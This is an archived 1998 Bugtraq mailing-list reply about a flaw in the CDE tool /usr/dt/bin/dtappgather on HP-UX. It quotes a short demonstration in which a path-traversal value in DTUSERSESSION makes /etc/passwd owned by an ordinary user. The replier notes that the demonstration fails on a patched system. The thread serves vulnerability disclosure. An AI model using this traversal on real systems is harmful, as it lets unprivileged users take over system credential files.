Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com

Neohapsis > Archives > Bugtraq> 1998_4

Bugtraq archives for 4th quarter (Oct-Dec) 1998: Re: another /usr/dt/bin/dtappgather feature!

Re: another /usr/dt/bin/dtappgather feature!

Luca Berra (blucacomedia.it)
Wed, 4 Nov 1998 20:06:37 +0100

Messages sorted by: [ date ][ thread ][ subject ][ author ]
Next message: Holger van Lengerich: "Communicator 4.5 stores EVERY mail-password in preferences.js"
Previous message: B. James Phillippe: "Re: WatchGuard Firewall internal D.O.S"
In reply to: Andrea Costantino: "another /usr/dt/bin/dtappgather feature!"
Next in thread: Paolo Amendola: "Re: another /usr/dt/bin/dtappgather feature!"

On Mon, Nov 02, 1998 at 06:05:59PM +0100, Andrea Costantino wrote:
> costanpenelope$ export $DTUSERSESSION=../../../../etc/passwd
> costanpenelope$ /usr/dt/bin/dtappgather
> [.... stuff ....]
> costanpenelope$ ls -al /etc/passwd
> -r-xr-xr-x   1 costan     users           531 Oct  9 14:08 /etc/passwd
>
FYI
this does not work on HP-UX 10.20 patched up to August
L.
--
Luca Berra -- blucacomedia.it
    System and Network Manager - CoMedia s.r.l.

Next message: Holger van Lengerich: "Communicator 4.5 stores EVERY mail-password in preferences.js"
Previous message: B. James Phillippe: "Re: WatchGuard Firewall internal D.O.S"
In reply to: Andrea Costantino: "another /usr/dt/bin/dtappgather feature!"
Next in thread: Paolo Amendola: "Re: another /usr/dt/bin/dtappgather feature!"